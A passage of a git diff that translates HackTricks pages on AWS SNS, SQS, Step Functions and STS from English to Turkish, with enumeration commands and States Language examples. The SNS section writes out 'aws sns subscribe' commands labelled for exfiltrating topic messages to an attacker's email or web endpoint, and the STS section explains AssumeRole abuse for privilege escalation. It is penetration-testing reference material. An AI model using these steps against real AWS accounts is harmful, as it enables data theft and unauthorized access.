event-driven, fan-out communication patterns. +**SQS**, nokta-nokta iletişimi sağlayan **kuyruk tabanlı** bir hizmettir ve mesajların **tek bir tüketici** tarafından işlenmesini garanti eder. **En az bir kez teslimat** sunar, standart ve FIFO kuyruklarını destekler ve mesajların yeniden denemeler ve gecikmeli işleme için saklanmasına izin verir.\ +Öte yandan, **SNS** **yayın/abone tabanlı bir hizmettir** ve mesajları **birden fazla aboneye** aynı anda yayınlayarak **birden-çoğa** iletişimi mümkün kılar. **E-posta, SMS, Lambda fonksiyonları ve HTTP/HTTPS** gibi çeşitli abonelik uç noktalarını destekler ve hedefli mesaj teslimatı için filtreleme mekanizmaları sağlar.\ +Her iki hizmet de dağıtık sistemlerde bileşenler arasında ayrıştırma sağlasa da, SQS kuyruklu iletişime odaklanırken, SNS olay odaklı, fan-out iletişim modellerine vurgu yapar. ### **Enumeration** - ```bash # Get topics & subscriptions aws sns list-topics @@ -24,60 +23,55 @@ aws sns list-subscriptions-by-topic --topic-arn # Check privescs & post-exploitation aws sns publish --region \ - --topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ - --message file://message.txt +--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ +--message file://message.txt # Exfiltrate through email ## You will receive an email to confirm the subscription aws sns subscribe --region \ - --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ - --protocol email \ - --notification-endpoint my-email@example.com +--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ +--protocol email \ +--notification-endpoint my-email@example.com # Exfiltrate through web server ## You will receive an initial request with a URL in the field "SubscribeURL" ## that you need to access to confirm the subscription aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - > [!CAUTION] -> Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used). +> **FIFO** türündeki **konu** için yalnızca **SQS** protokolünü kullanan aboneler kullanılabilir (HTTP veya HTTPS kullanılamaz). > -> Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> Ayrıca, `--topic-arn` bölgeyi içerse bile, **`--region`** parametresinde doğru bölgeyi belirttiğinizden emin olun, aksi takdirde erişiminiz olmadığına dair bir hata alırsınız, ancak sorun bölgedir. -#### Unauthenticated Access +#### Kimlik Doğrulaması Olmayan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md {{#endref}} -#### Privilege Escalation +#### Yetki Yükseltme {{#ref}} ../aws-privilege-escalation/aws-sns-privesc.md {{#endref}} -#### Post Exploitation +#### İstismar Sonrası {{#ref}} ../aws-post-exploitation/aws-sns-post-exploitation.md {{#endref}} -#### Persistence +#### Süreklilik {{#ref}} ../aws-persistence/aws-sns-persistence.md {{#endref}} -## References +## Referanslar - [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index 1da888587..bc8689a2b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,10 +4,9 @@ ## SQS -Amazon Simple Queue Service (SQS) is presented as a **fully managed message queuing service**. Its main function is to assist in the scaling and decoupling of microservices, distributed systems, and serverless applications. The service is designed to remove the need for managing and operating message-oriented middleware, which can often be complex and resource-intensive. This elimination of complexity allows developers to direct their efforts towards more innovative and differentiating aspects of their work. +Amazon Simple Queue Service (SQS), **tam yönetilen bir mesaj kuyruklama hizmeti** olarak sunulmaktadır. Ana işlevi, mikro hizmetlerin, dağıtık sistemlerin ve sunucusuz uygulamaların ölçeklenmesine ve ayrıştırılmasına yardımcı olmaktır. Hizmet, genellikle karmaşık ve kaynak yoğun olabilen mesaj odaklı ara yazılımların yönetilmesi ve işletilmesi gereksinimini ortadan kaldıracak şekilde tasarlanmıştır. Bu karmaşıklığın ortadan kaldırılması, geliştiricilerin çalışmalarının daha yenilikçi ve farklılaştırıcı yönlerine odaklanmalarını sağlar. ### Enumeration - ```bash # Get queues info aws sqs list-queues @@ -18,40 +17,35 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` - > [!CAUTION] -> Also, even if the `--queue-url` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> Ayrıca, `--queue-url` bölgeyi içerse bile, doğru bölgeyi **`--region`** parametresinde belirttiğinizden emin olun, aksi takdirde erişiminiz olmadığına dair bir hata alırsınız, ancak sorun bölgedir. -#### Unauthenticated Access +#### Kimlik Doğrulaması Olmayan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md {{#endref}} -#### Privilege Escalation +#### Yetki Yükseltme {{#ref}} ../aws-privilege-escalation/aws-sqs-privesc.md {{#endref}} -#### Post Exploitation +#### İstismar Sonrası {{#ref}} ../aws-post-exploitation/aws-sqs-post-exploitation.md {{#endref}} -#### Persistence +#### Süreklilik {{#ref}} ../aws-persistence/aws-sqs-persistence.md {{#endref}} -## References +## Referanslar - https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 873629bba..c36b98ac1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,266 +4,253 @@ ## Step Functions -AWS Step Functions is a workflow service that enables you to coordinate and orchestrate multiple AWS services into serverless workflows. By using AWS Step Functions, you can design and run workflows that connect various AWS services such as AWS Lambda, Amazon S3, Amazon DynamoDB, and many more, in a sequence of steps. This orchestration service provides a visual workflow interface and offers **state machine** capabilities, allowing you to define each step of the workflow in a declarative manner using JSON-based **Amazon States Language** (ASL). +AWS Step Functions, birden fazla AWS hizmetini sunucusuz iş akışlarına koordine etmenizi ve düzenlemenizi sağlayan bir iş akışı hizmetidir. AWS Step Functions kullanarak, AWS Lambda, Amazon S3, Amazon DynamoDB ve daha birçok AWS hizmetini bir dizi adımda bağlayan iş akışları tasarlayıp çalıştırabilirsiniz. Bu orkestrasyon hizmeti, görsel bir iş akışı arayüzü sağlar ve her adımı JSON tabanlı **Amazon States Language** (ASL) kullanarak deklaratif bir şekilde tanımlamanıza olanak tanıyan **durum makinesi** yetenekleri sunar. -## Key concepts +## Ana kavramlar -### Standard vs. Express Workflows +### Standart ve Express İş Akışları -AWS Step Functions offers two types of **state machine workflows**: Standard and Express. +AWS Step Functions, iki tür **durum makinesi iş akışı** sunar: Standart ve Express. -- **Standard Workflow**: This default workflow type is designed for long-running, durable, and auditable processes. It supports **exactly-once execution**, ensuring tasks run only once unless retries are specified. It is ideal for workflows needing detailed execution history and can run for up to one year. -- **Express Workflow**: This type is ideal for high-volume, short-duration tasks, running up to five minutes. They support **at-least-once execution**, suitable for idempotent tasks like data processing. These workflows are optimized for cost and performance, charging based on executions, duration, and memory usage. +- **Standart İş Akışı**: Bu varsayılan iş akışı türü, uzun süreli, dayanıklı ve denetlenebilir süreçler için tasarlanmıştır. **Tam olarak bir kez yürütme** desteği sunar, bu da görevlerin yalnızca bir kez çalışmasını garanti eder, yeniden denemeler belirtilmedikçe. Detaylı yürütme geçmişine ihtiyaç duyan iş akışları için idealdir ve bir yıla kadar çalışabilir. +- **Express İş Akışı**: Bu tür, yüksek hacimli, kısa süreli görevler için idealdir ve beş dakikaya kadar çalışabilir. **En az bir kez yürütme** desteği sunar, bu da veri işleme gibi idempotent görevler için uygundur. Bu iş akışları, yürütmeler, süre ve bellek kullanımı temelinde ücretlendirilerek maliyet ve performans için optimize edilmiştir. -### States +### Durumlar -States are the essential units of state machines. They define the individual steps within a workflow, being able to perform a variety of functions depending on its type: +Durumlar, durum makinelerinin temel birimleridir. Bir iş akışındaki bireysel adımları tanımlar ve türüne bağlı olarak çeşitli işlevler gerçekleştirebilir: -- **Task:** Executes a job, often using an AWS service like Lambda. -- **Choice:** Makes decisions based on input. -- **Fail/Succeed:** Ends the execution with a failure or success. -- **Pass:** Passes input to output or injects data. -- **Wait:** Delays execution for a set time. -- **Parallel:** Initiates parallel branches. -- **Map:** Dynamically iterates steps over items. +- **Görev:** Genellikle Lambda gibi bir AWS hizmetini kullanarak bir işi yürütür. +- **Seçim:** Girdi temelinde kararlar alır. +- **Başarısız/Başarılı:** Yürütmeyi bir başarısızlık veya başarı ile sonlandırır. +- **Geçiş:** Girdiyi çıktıya aktarır veya veri enjekte eder. +- **Bekle:** Belirli bir süre yürütmeyi geciktirir. +- **Paralel:** Paralel dalları başlatır. +- **Harita:** Öğeler üzerinde adımları dinamik olarak yinelemeye alır. -### Task +### Görev -A **Task** state represents a single unit of work executed by a state machine. Tasks can invoke various resources, including activities, Lambda functions, AWS services, or third-party APIs. +Bir **Görev** durumu, bir durum makinesi tarafından yürütülen tek bir iş birimini temsil eder. Görevler, aktiviteler, Lambda fonksiyonları, AWS hizmetleri veya üçüncü taraf API'ler gibi çeşitli kaynakları çağırabilir. -- **Activities**: Custom workers you manage, suitable for long-running processes. - - Resource: **`arn:aws:states:region:account:activity:name`**. -- **Lambda Functions**: Executes AWS Lambda functions. - - Resource: **`arn:aws:lambda:region:account:function:function-name`**. -- **AWS Services**: Integrates directly with other AWS services, like DynamoDB or S3. - - Resource: **`arn:partition:states:region:account:servicename:APIname`**. -- **HTTP Task**: Calls third-party APIs. - - Resource field: **`arn:aws:states:::http:invoke`**. Then, you should provide the API endpoint configuration details, such as the API URL, method, and authentication details. - -The following example shows a Task state definition that invokes a Lambda function called HelloWorld: +- **Aktiviteler**: Uzun süreli süreçler için uygun, sizin yönettiğiniz özel işçiler. +- Kaynak: **`arn:aws:states:region:account:activity:name`**. +- **Lambda Fonksiyonları**: AWS Lambda fonksiyonlarını yürütür. +- Kaynak: **`arn:aws:lambda:region:account:function:function-name`**. +- **AWS Hizmetleri**: DynamoDB veya S3 gibi diğer AWS hizmetleriyle doğrudan entegre olur. +- Kaynak: **`arn:partition:states:region:account:servicename:APIname`**. +- **HTTP Görevi**: Üçüncü taraf API'leri çağırır. +- Kaynak alanı: **`arn:aws:states:::http:invoke`**. Ardından, API URL'si, yöntem ve kimlik doğrulama detayları gibi API uç noktası yapılandırma bilgilerini sağlamalısınız. +Aşağıdaki örnek, HelloWorld adında bir Lambda fonksiyonunu çağıran bir Görev durumu tanımını göstermektedir: ```json "HelloWorld": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "Payload.$": "$", - "FunctionName": "arn:aws:lambda:::function:HelloWorld" - }, - "End": true +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"Payload.$": "$", +"FunctionName": "arn:aws:lambda:::function:HelloWorld" +}, +"End": true } ``` - ### Choice -A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results. +Bir **Choice** durumu, bir iş akışına koşullu mantık ekler ve girdi verilerine dayalı kararlar almayı sağlar. Belirtilen koşulları değerlendirir ve sonuçlara göre ilgili duruma geçiş yapar. -- **Comparison**: Each choice rule includes a comparison operator (e.g., **`NumericEquals`**, **`StringEquals`**) that compares an input variable to a specified value or another variable. -- **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true. - -Example of **Choice** state: +- **Karşılaştırma**: Her seçim kuralı, bir girdi değişkenini belirtilen bir değerle veya başka bir değişkenle karşılaştıran bir karşılaştırma operatörü (örneğin, **`NumericEquals`**, **`StringEquals`**) içerir. +- **Next Alanı**: Choice durumları **`End`** alanını desteklemez, bunun yerine karşılaştırma doğruysa geçiş yapılacak **`Next`** durumunu tanımlar. +**Choice** durumu örneği: ```json { - "Variable": "$.timeStamp", - "TimestampEquals": "2000-01-01T00:00:00Z", - "Next": "TimeState" +"Variable": "$.timeStamp", +"TimestampEquals": "2000-01-01T00:00:00Z", +"Next": "TimeState" } ``` - ### Fail/Succeed -A **`Fail`** state stops the execution of a state machine and marks it as a failure. It is used to specify an error name and a cause, providing details about the failure. This state is terminal, meaning it ends the execution flow. +Bir **`Fail`** durumu, bir durum makinesinin yürütülmesini durdurur ve onu bir hata olarak işaretler. Hata adını ve nedenini belirtmek için kullanılır, hatayla ilgili ayrıntılar sağlar. Bu durum terminaldir, yani yürütme akışını sonlandırır. -A **`Succeed`** state stops the execution successfully. It is typically used to terminate the workflow when it completes successfully. This state does not require a **`Next`** field. +Bir **`Succeed`** durumu, yürütmeyi başarıyla durdurur. Genellikle, iş akışı başarıyla tamamlandığında sonlandırmak için kullanılır. Bu durum bir **`Next`** alanı gerektirmez. {{#tabs }} {{#tab name="Fail example" }} - ```json "FailState": { - "Type": "Fail", - "Error": "ErrorName", - "Cause": "Error details" +"Type": "Fail", +"Error": "ErrorName", +"Cause": "Error details" } ``` - {{#endtab }} -{{#tab name="Succeed example" }} - +{{#tab name="Başarı örneği" }} ```json "SuccessState": { - "Type": "Succeed" +"Type": "Succeed" } ``` - {{#endtab }} {{#endtabs }} ### Pass -A **Pass** state passes its input to its output either without performing any work or transformin JSON state input using filters, and then passing the transformed data to the next state. It is useful for testing and constructing state machines, allowing you to inject static data or transform it. - +Bir **Pass** durumu, herhangi bir iş yapmadan veya JSON durum girdisini filtreler kullanarak dönüştürmeden, girdisini çıktısına aktarır ve ardından dönüştürülmüş veriyi bir sonraki duruma iletir. Statik verileri enjekte etmenize veya dönüştürmenize olanak tanıyarak durum makinelerini test etmek ve oluşturmak için faydalıdır. ```json "PassState": { - "Type": "Pass", - "Result": {"key": "value"}, - "ResultPath": "$.newField", - "Next": "NextState" +"Type": "Pass", +"Result": {"key": "value"}, +"ResultPath": "$.newField", +"Next": "NextState" +} +``` +### Wait + +Bir **Wait** durumu, durum makinesinin yürütülmesini belirli bir süre boyunca geciktirir. Bekleme süresini yapılandırmak için üç ana yöntem vardır: + +- **X Saniye**: Beklemek için sabit bir saniye sayısı. + +```json +"WaitState": { +"Type": "Wait", +"Seconds": 10, +"Next": "NextState" } ``` -### Wait +- **Kesin Zaman Damgası**: Beklemek için tam bir zaman. -A **Wait** state delays the execution of the state machine for a specified duration. There are three primary methods to configure the wait time: +```json +"WaitState": { +"Type": "Wait", +"Timestamp": "2024-03-14T01:59:00Z", +"Next": "NextState" +} +``` -- **X Seconds**: A fixed number of seconds to wait. +- **Dinamik Bekleme**: **`SecondsPath`** veya **`TimestampPath`** kullanarak girdiye dayalı. - ```json - "WaitState": { - "Type": "Wait", - "Seconds": 10, - "Next": "NextState" - } - ``` - -- **Absolute Timestamp**: An exact time to wait until. - - ```json - "WaitState": { - "Type": "Wait", - "Timestamp": "2024-03-14T01:59:00Z", - "Next": "NextState" - } - ``` - -- **Dynamic Wait**: Based on input using **`SecondsPath`** or **`TimestampPath`**. - - ```json - jsonCopiar código - "WaitState": { - "Type": "Wait", - "TimestampPath": "$.expirydate", - "Next": "NextState" - } - ``` +```json +jsonCopiar código +"WaitState": { +"Type": "Wait", +"TimestampPath": "$.expirydate", +"Next": "NextState" +} +``` ### Parallel -A **Parallel** state allows you to execute multiple branches of tasks concurrently within your workflow. Each branch runs independently and processes its own sequence of states. The execution waits until all branches complete before proceeding to the next state. Its key fields are: - -- **Branches**: An array defining the parallel execution paths. Each branch is a separate state machine. -- **ResultPath**: Defines where (in the input) to place the combined output of the branches. -- **Retry and Catch**: Error handling configurations for the parallel state. +Bir **Parallel** durumu, iş akışınız içinde birden fazla görev dalını eşzamanlı olarak yürütmenizi sağlar. Her dal bağımsız olarak çalışır ve kendi durum dizisini işler. Yürütme, tüm dallar tamamlanana kadar bekler ve ardından bir sonraki duruma geçer. Ana alanları şunlardır: +- **Branches**: Paralel yürütme yollarını tanımlayan bir dizi. Her dal ayrı bir durum makinesidir. +- **ResultPath**: Dalların birleştirilmiş çıktısını nereye (girdide) yerleştireceğini tanımlar. +- **Retry and Catch**: Paralel durum için hata işleme yapılandırmaları. ```json "ParallelState": { - "Type": "Parallel", - "Branches": [ - { - "StartAt": "Task1", - "States": { ... } - }, - { - "StartAt": "Task2", - "States": { ... } - } - ], - "Next": "NextState" +"Type": "Parallel", +"Branches": [ +{ +"StartAt": "Task1", +"States": { ... } +}, +{ +"StartAt": "Task2", +"States": { ... } +} +], +"Next": "NextState" +} +``` +### Harita + +Bir **Map** durumu, bir veri kümesindeki her bir öğe için bir dizi adımın yürütülmesini sağlar. Verilerin paralel işlenmesi için kullanılır. Veri kümesindeki öğeleri nasıl işlemek istediğinize bağlı olarak, Step Functions aşağıdaki modları sunar: + +- **Inline Modu**: Her JSON dizi öğesi için bir alt küme durumu yürütür. 40'tan az paralel yineleme ile küçük ölçekli görevler için uygundur ve bunların her birini **`Map`** durumunu içeren iş akışının bağlamında çalıştırır. + +```json +"MapState": { +"Type": "Map", +"ItemsPath": "$.arrayItems", +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "INLINE" +}, +"StartAt": "AddState", +"States": { +"AddState": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"OutputPath": "$.Payload", +"Parameters": { +"FunctionName": "arn:aws:lambda:::function:add-function" +}, +"End": true +} +} +}, +"End": true +"ResultPath": "$.detail.added", +"ItemsPath": "$.added" } ``` -### Map +- **Dağıtılmış Mod**: Yüksek eşzamanlılık ile büyük ölçekli paralel işleme için tasarlanmıştır. Amazon S3'te depolanan büyük veri kümelerini işleme desteği sunar ve 10,000'e kadar paralel çocuk iş akışı yürütmelerinin yüksek eşzamanlılığını sağlar, bu çocukları ayrı bir çocuk yürütmesi olarak çalıştırır. -A **Map** state enables the execution of a set of steps for each item in an dataset. It's used for parallel processing of data. Depending on how you want to process the items of the dataset, Step Functions provides the following modes: +```json +"DistributedMapState": { +"Type": "Map", +"ItemReader": { +"Resource": "arn:aws:states:::s3:getObject", +"Parameters": { +"Bucket": "my-bucket", +"Key": "data.csv" +} +}, +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "DISTRIBUTED", +"ExecutionType": "EXPRESS" +}, +"StartAt": "ProcessItem", +"States": { +"ProcessItem": { +"Type": "Task", +"Resource": "arn:aws:lambda:region:account-id:function:my-function", +"End": true +} +} +}, +"End": true +"ResultWriter": { +"Resource": "arn:aws:states:::s3:putObject", +"Parameters": { +"Bucket": "myOutputBucket", +"Prefix": "csvProcessJobs" +} +} +} +``` -- **Inline Mode**: Executes a subset of states for each JSON array item. Suitable for small-scale tasks with less than 40 parallel iterations, running each of them in the context of the workflow that contains the **`Map`** state. +### Sürümler ve takma adlar - ```json - "MapState": { - "Type": "Map", - "ItemsPath": "$.arrayItems", - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "INLINE" - }, - "StartAt": "AddState", - "States": { - "AddState": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "OutputPath": "$.Payload", - "Parameters": { - "FunctionName": "arn:aws:lambda:::function:add-function" - }, - "End": true - } - } - }, - "End": true - "ResultPath": "$.detail.added", - "ItemsPath": "$.added" - } - ``` +Step Functions, iş akışı dağıtımlarını **sürümler** ve **takma adlar** aracılığıyla yönetmenizi sağlar. Bir sürüm, yürütülebilen bir durum makinesinin anlık görüntüsünü temsil eder. Takma adlar, bir durum makinesinin en fazla iki sürümüne işaret eder. -- **Distributed Mode**: Designed for large-scale parallel processing with high concurrency. Supports processing large datasets, such as those stored in Amazon S3, enabling a high concurrency of up 10,000 parallel child workflow executions, running these child as a separate child execution. +- **Sürümler**: Bu değiştirilemez anlık görüntüler, o durum makinesinin en son revizyonundan oluşturulur. Her sürüm, durum makinesi ARN'sini sürüm numarası ile birleştiren benzersiz bir ARN ile tanımlanır ve iki nokta ile ayrılır (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Sürümler düzenlenemez, ancak durum makinesini güncelleyebilir ve yeni bir sürüm yayınlayabilir veya istenen durum makinesi sürümünü kullanabilirsiniz. +- **Takma Adlar**: Bu işaretçiler, aynı durum makinesinin en fazla iki sürümüne referans verebilir. Tek bir durum makinesi için birden fazla takma ad oluşturulabilir ve her biri, durum makinesi ARN'sini takma ad adı ile birleştirerek oluşturulan benzersiz bir ARN ile tanımlanır, iki nokta ile ayrılır (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Takma adlar, bir durum makinesinin iki sürümünden birine trafik yönlendirmeyi sağlar. Alternatif olarak, bir takma ad, durum makinesinin tek bir belirli sürümüne işaret edebilir, ancak diğer takma adlara işaret edemez. Gerekirse, durum makinesinin farklı bir sürümüne yönlendirmek için güncellenebilir, bu da kontrollü dağıtımları ve iş akışı yönetimini kolaylaştırır. - ```json - "DistributedMapState": { - "Type": "Map", - "ItemReader": { - "Resource": "arn:aws:states:::s3:getObject", - "Parameters": { - "Bucket": "my-bucket", - "Key": "data.csv" - } - }, - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "DISTRIBUTED", - "ExecutionType": "EXPRESS" - }, - "StartAt": "ProcessItem", - "States": { - "ProcessItem": { - "Type": "Task", - "Resource": "arn:aws:lambda:region:account-id:function:my-function", - "End": true - } - } - }, - "End": true - "ResultWriter": { - "Resource": "arn:aws:states:::s3:putObject", - "Parameters": { - "Bucket": "myOutputBucket", - "Prefix": "csvProcessJobs" - } - } - } - ``` +Daha ayrıntılı bilgi için **ASL** hakkında, kontrol edin: [**Amazon States Language**](https://states-language.net/spec.html). -### Versions and aliases +## Durum Makineleri için IAM Rolleri -Step Functions also lets you manage workflow deployments through **versions** and **aliases** of state machines. A version represents a snapshot of a state machine that can be executed. Aliases serve as pointers to up to two versions of a state machine. +AWS Step Functions, durum makineleri içindeki kaynaklara ve eylemlere erişimi kontrol etmek için AWS Kimlik ve Erişim Yönetimi (IAM) rollerini kullanır. AWS Step Functions'daki güvenlik ve IAM rolleri ile ilgili ana noktalar şunlardır: -- **Versions**: These immutable snapshots of a state machine are created from the most recent revision of that state machine. Each version is identified by a unique ARN that combines the state machine ARN with the version number, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versions cannot be edited, but you can update the state machine and publish a new version, or use the desired state machine version. -- **Aliases**: These pointers can reference up to two versions of the same state machine. Multiple aliases can be created for a single state machine, each identified by a unique ARN constructed by combining the state machine ARN with the alias name, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases enable routing of traffic between one of the two versions of a state machine. Alternatively, an alias can point to a single specific version of the state machine, but not to other aliases. They can be updated to redirect to a different version of the state machine as needed, facilitating controlled deployments and workflow management. +- **Yürütme Rolü**: AWS Step Functions'daki her durum makinesi, bir IAM yürütme rolü ile ilişkilidir. Bu rol, durum makinesinin sizin adınıza hangi eylemleri gerçekleştirebileceğini tanımlar. Bir durum makinesi, AWS hizmetleri ile etkileşime giren durumlar arasında geçiş yaptığında (örneğin, Lambda işlevlerini çağırma, DynamoDB'ye erişme vb.), bu eylemleri gerçekleştirmek için bu yürütme rolünü üstlenir. +- **İzinler**: IAM yürütme rolü, diğer AWS hizmetlerinde gerekli eylemleri gerçekleştirmeye izin veren izinlerle yapılandırılmalıdır. Örneğin, durum makineniz AWS Lambda işlevlerini çağırması gerekiyorsa, IAM rolünün **`lambda:InvokeFunction`** izinlerine sahip olması gerekir. Benzer şekilde, DynamoDB'ye yazması gerekiyorsa, uygun izinler (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`** vb.) verilmelidir. -For more detailed information about **ASL**, check: [**Amazon States Language**](https://states-language.net/spec.html). - -## IAM Roles for State machines - -AWS Step Functions utilizes AWS Identity and Access Management (IAM) roles to control access to resources and actions within state machines. Here are the key aspects related to security and IAM roles in AWS Step Functions: - -- **Execution Role**: Each state machine in AWS Step Functions is associated with an IAM execution role. This role defines what actions the state machine can perform on your behalf. When a state machine transitions between states that interact with AWS services (like invoking Lambda functions, accessing DynamoDB, etc.), it assumes this execution role to carry out those actions. -- **Permissions**: The IAM execution role must be configured with permissions that allow the necessary actions on other AWS services. For example, if your state machine needs to invoke AWS Lambda functions, the IAM role must have **`lambda:InvokeFunction`** permissions. Similarly, if it needs to write to DynamoDB, appropriate permissions (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) must be granted. - -## Enumeration - -ReadOnlyAccess policy is enough for all the following enumeration actions. +## Sayım +ReadOnlyAccess politikası, aşağıdaki tüm sayım eylemleri için yeterlidir. ```bash # State machines # @@ -310,10 +297,9 @@ aws stepfunctions describe-map-run --map-run-arn ## Lists executions of a Map Run aws stepfunctions list-executions --map-run-arn [--status-filter ] [--redrive-filter ] ``` - ## Privesc -In the following page, you can check how to **abuse Step Functions permissions to escalate privileges**: +Aşağıdaki sayfada, **Step Functions izinlerini kötüye kullanarak ayrıcalıkları artırmayı** kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -338,7 +324,3 @@ In the following page, you can check how to **abuse Step Functions permissions t - [https://states-language.net/spec.html](https://states-language.net/spec.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 385d55c3b..8979ca281 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,62 +4,57 @@ ## STS -**AWS Security Token Service (STS)** is primarily designed to issue **temporary, limited-privilege credentials**. These credentials can be requested for **AWS Identity and Access Management (IAM)** users or for authenticated users (federated users). +**AWS Security Token Service (STS)** esas olarak **geçici, sınırlı ayrıcalıklı kimlik bilgileri** vermek için tasarlanmıştır. Bu kimlik bilgileri, **AWS Identity and Access Management (IAM)** kullanıcıları veya kimliği doğrulanmış kullanıcılar (federated users) için talep edilebilir. -Given that STS's purpose is to **issue credentials for identity impersonation**, the service is immensely valuable for **escalating privileges and maintaining persistence**, even though it might not have a wide array of options. +STS'nin amacı **kimlik taklidi için kimlik bilgileri vermek** olduğundan, bu hizmet **ayrıcalıkları artırmak ve sürekliliği sağlamak** için son derece değerlidir, ancak geniş bir seçenek yelpazesine sahip olmayabilir. -### Assume Role Impersonation +### Rolü Üstlenme Taklidi -The action [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) provided by AWS STS is crucial as it permits a principal to acquire credentials for another principal, essentially impersonating them. Upon invocation, it responds with an access key ID, a secret key, and a session token corresponding to the specified ARN. +AWS STS tarafından sağlanan [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) eylemi, bir ilkenin başka bir ilke için kimlik bilgileri almasına izin verdiğinden kritik öneme sahiptir; bu, esasen onları taklit etmektir. Çağrıldığında, belirtilen ARN ile ilişkili bir erişim anahtar kimliği, bir gizli anahtar ve bir oturum belirteci ile yanıt verir. -For Penetration Testers or Red Team members, this technique is instrumental for privilege escalation (as elaborated [**here**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). However, it's worth noting that this technique is quite conspicuous and may not catch an attacker off guard. +Penetrasyon Testi yapanlar veya Kırmızı Takım üyeleri için bu teknik, ayrıcalık artırma için önemlidir (detaylar için [**buraya**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole) bakabilirsiniz). Ancak, bu tekniğin oldukça belirgin olduğunu ve bir saldırganı hazırlıksız yakalamayabileceğini belirtmek gerekir. -#### Assume Role Logic - -In order to assume a role in the same account if the **role to assume is allowing specifically a role ARN** like in: +#### Rolü Üstlenme Mantığı +Aynı hesapta bir rolü üstlenmek için, **üstlenilecek rolun belirli bir rol ARN'sine izin vermesi** durumunda: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::role/priv-role" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::role/priv-role" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +Rol **`priv-role`** bu durumda, **o rolü üstlenmek için özel olarak izin verilmesine gerek yoktur** (bu izin yeterlidir). -The role **`priv-role`** in this case, **doesn't need to be specifically allowed** to assume that role (with that allowance is enough). - -However, if a role is allowing an account to assume it, like in: - +Ancak, bir rolun bir hesabın onu üstlenmesine izin vermesi durumunda, şöyle: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +Rolü üstlenmeye çalışan, o rol üzerinde **belirli bir `sts:AssumeRole` iznine** ihtiyaç duyacaktır **onu üstlenmek için**. -The role trying to assume it will need a **specific `sts:AssumeRole` permission** over that role **to assume it**. - -If you try to assume a **role** **from a different account**, the **assumed role must allow it** (indicating the role **ARN** or the **external account**), and the **role trying to assume** the other one **MUST** to h**ave permissions to assume it** (in this case this isn't optional even if the assumed role is specifying an ARN). 